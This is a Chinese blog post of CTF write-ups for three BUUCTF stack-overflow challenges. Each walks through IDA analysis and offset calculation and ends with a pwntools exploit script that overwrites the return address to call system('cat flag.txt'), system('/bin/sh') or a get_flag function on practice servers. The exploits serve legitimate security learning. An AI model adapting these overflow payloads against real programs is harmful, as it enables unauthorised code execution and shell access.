BUU pwn 简单栈溢出题笔记

BUU warmup_csaw_2016

本题直接给出了system('cat flag.txt')的地址,直接覆盖eip即可。

首先file,发现是64位ELF文件。
image

IDA发现main函数中return了get函数,存在溢出点。
image

查看文件中的字符串,发现有'cat flag.txt'

image

双击后发现'cat flag.txt'在sub_40060D函数中
image

双击sub_40060D,右键打开文本视图,可以看到这行代码直接调用了system()函数,并将命令'cat flag.txt'作为参数,所以直接将函数地址0x400611覆盖eip,作为返回地址
image
main调用gets函数时,首先会将参数v5压栈,而v5是一个64字节的char数组,所以我们需要填满64字节+ebp的8字节=72字节,然后再填入返回地址0x400611即可覆盖eip了。

构造payload,即可得到flag!

from pwn import *
p = remote("node4.buuoj.cn",27708)
payload = b'0'*72 + p64(0x400611)
p.sendline(payload)
p.interactive()

image


jarvisoj_level2

本题给出了system函数的地址和'/bin/sh'字符串的地址,需要两次压栈

首先,查看字符串'/bin/sh',地址是0x0804A024
image

本题中system函数不止出现一次,所以随便选一个,找到地址0x0804845C
image

缺陷函数如下,我们需要覆盖buf数组和上面的ebp才能到达main栈帧的eip,共136+4=140字节
image

然后将eip覆盖为system的地址,将eip上面的4字节覆盖为'/bin/sh'的地址,此时栈结构如下。函数返回时,下一条指令就是system,正常情况接下来要压栈system的参数,我们之前压栈的'/bin/sh/'的地址就被当成了这个参数,结果成功执行了system('/bin/sh')
image

payload如下

from pwn import *
p = remote("node4.buuoj.cn",25086)
payload = b'a'*140+p32(0x0804845C)+p32(0x0804A024)
p.sendline(payload)
p.interactive()

image

get_started_3dsctf_2016

这道题需要跳转到包含参数的函数get_flag。由于本题没有采用标准输入输出来给出shell,而是通过读文件的方式,所以必须要让程序正常退出,远程才能回显结果。这就需要设置get_flag的返回地址为exit()函数。
image

从大量函数中找到exit后,按Tab即可跳转到汇编,找到地址0x0804E6A0。get_flag的地址为0x080489A0,需要两个参数a1和a2,分别是814536271和425138641

查看栈结构,main函数的v4数组占0x38字节,返回地址r的位置是0,这表明本题中函数调用并未考虑ebp的压栈,所以只需先覆盖0x38个字节,紧接着写入get_flag的地址即可。
image

构造payload时,结构为偏移+get_flag+exit+a1+a2

from pwn import *
p = remote("node4.buuoj.cn",27917)
payload = b'a'*(56)+p32(0x080489A0)+p32(0x0804E6A0)+p32(814536271)+p32(425138641)
p.sendline(payload)
p.interactive()
posted @ 2023-02-28 13:15  Nemuzuki  阅读(63)  评论(0编辑  收藏  举报